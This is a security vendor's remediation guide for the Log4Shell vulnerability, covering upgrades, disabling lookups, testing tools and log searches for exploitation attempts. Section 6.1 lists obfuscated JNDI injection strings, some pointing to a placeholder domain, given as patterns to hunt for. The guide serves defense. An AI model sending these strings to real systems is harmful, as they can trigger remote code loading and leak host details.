log4shell Guidance

Primer on mitigation and remediation for CVE-2021-44228

Version: 1.0.4
Last Updated: 2021-12-15 17:21 UTC

Table of Contents

CSIS Security Group A/S

Founded in Copenhagen in 2003, CSIS Security Group is a leading independent provider of cyber security services in Europe. Credited by Gartner Group for its threat intelligence capabilities, the company mitigates customers' security risk with a range of preventive security products and services, as well as with incident response and managed security services. CSIS is the preferred cyber security provider to some of the world's largest enterprise organisations, and is a trusted advisor to law enforcement agencies, government and news media.

1 Make sure you have the latest version of our guidance

This document will be updated regularly over the lifetime of the log4shell vulnerability. Make sure you have the latest version of this PDF from our website[1]

2 Determine what systems are affected

Understand what systems are utilizing log4j2. NCSC-NL has produced an exceptional matrix[2] of software and its vulnerability status which can be used to identify what systems should be in scope.

3 Mitigate the threat

Utilizing the list of systems affected, apply the mitigations. There are several mitigation options available, with the upgrade being the simplest (see the advisory from Apache[3])

1. Upgrade to the latest version of Log4j (at the time of this writing is v2.16.0)

2. If you are using Log4j v2.10 or above, and **cannot upgrade**, then set the property:

   ```
   log4j2.formatMsgNoLookups=true
   ```

   Additionally, an environment variable can be set for these same affected versions:

   ```
   LOG4J_FORMAT_MSG_NO_LOOKUPS=true
   ```

3. If neither updating nor disabling lookups is possible, as a last resort removal of the JndiLookup class from the classpath can be performed. For example, the following will remove the class from log4j-core:

   ```
   zip -q -d log4j-core-*.jar
   org/apache/logging/log4j/core/lookup/JndiLookup.class
   ```

[1] https://csis.com/csis-s-latest-news-and-announcements/our-guidance-to-customers-on-log4shell/
[2] https://github.com/NCSC-NL/log4shell/blob/main/software/README.md
[3] https://logging.apache.org/log4j/2.x/security.html

4 Test and ensure the vulnerability is remediated

John Hammond at Huntress has a public log4j2 vulnerability testing tool[4] which can be useful for quick testing to ensure that systems have been properly remediated (This site has experienced some downtime as many organizations around the world are utilizing it)

Many other tools are available for scanning. Among them, the log4j-scan tool[5] can be used for more extensive and in-depth testing of the vulnerability's presence.

5 Take additional protective measures

Check with your firewall, VPN, IDS, and IPS vendors to ensure you have the latest signatures and updates for your perimeter networking gear and firewalls to ensure common and known IoC and traffic types related to log4shell are blocked.

[4] https://log4shell.huntress.com/
[5] https://github.com/fullhunt/log4j-scan

6 Check for exploitation activity

Logs from all systems affected by the log4shell vulnerability should be searched at least back to December 1st, 2021. The simplest and quickest search to perform on these logs is the following:

```
jndi
```

However, due to many different obfuscation techniques, the above search should be considered an initial naïve query and could miss exploitation attempts. Further advanced log searches utilizing regular expressions on all systems impacted by log4shell should be performed to ensure no variations of the string or obfuscated versions have been missed.

Florian Roth (Neo23x0) has made available a fantastic gist[6] with examples of utilizing advanced regular expressions as well a custom python log4shell detection tool[7] to search logs for log4shell attempts.

These searches should find exploitation attempt candidates within the logs. It is important to understand that **an exploitation attempt alone is not necessarily reason for panic**, as widespread exploitation attempts are being seen around the world. It is, however, an indicator to investigate further to see if any further actions, files, or other data can be correlated with the exploitation attempts that would indicate the attackers were successful. If you believe you were indeed compromised, please share evidence with CSIS and we will assist in helping determine next steps to take.

[6] https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
[7] https://github.com/Neo23x0/log4shell-detector

6.1 Examples of variations and obfuscation techniques

```
${jndi:ldap://

${jndi:dns://

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://

${${lower:jndi}:

${jndi:${lower:l}${lower:d}a${lower:p}://

${${::-j}${::-n}${::-d}${::-i}:

${${::-j}ndi:

${jndi:ldap://${env:JAVA_VERSION}.domain/a}

${jndi:ldap://${sys:java.version}.domain/a}

${jndi:ldap://${hostName}.domain/a}

${jndi:ldap://${sys:java.vendor}.domain/a}

${${env:NaN:-j}ndi${env:NaN:-:}
```

7 Contacting CSIS regarding log4shell

Please understand that with the scope of a vulnerability like log4shell, security teams around the world are operating at near-capacity. Out of courtesy for our staff and other customers, we kindly ask that you only contact us regarding log4shell if you have observed what you believe to be a successful attempted exploitation resulting in code execution and that you do so only after you have successfully mitigated the vulnerability itself and tested it as described in earlier in this document.

8 Further reading on exploitation activity, IoCs, log examples, etc.

https://github.com/NCSC-NL/log4shell

https://blog.netlab.360.com/ten-families-of-malicious-samples-are-spreading-using-the-log4j2-vulnerability-now/

https://blog.cloudflare.com/actual-cve-2021-44228-payloads-captured-in-the-wild/

https://www.cyberkendra.com/2021/12/log4shell-advisory-resource-cheat-sheet.html?m=1

https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/

https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/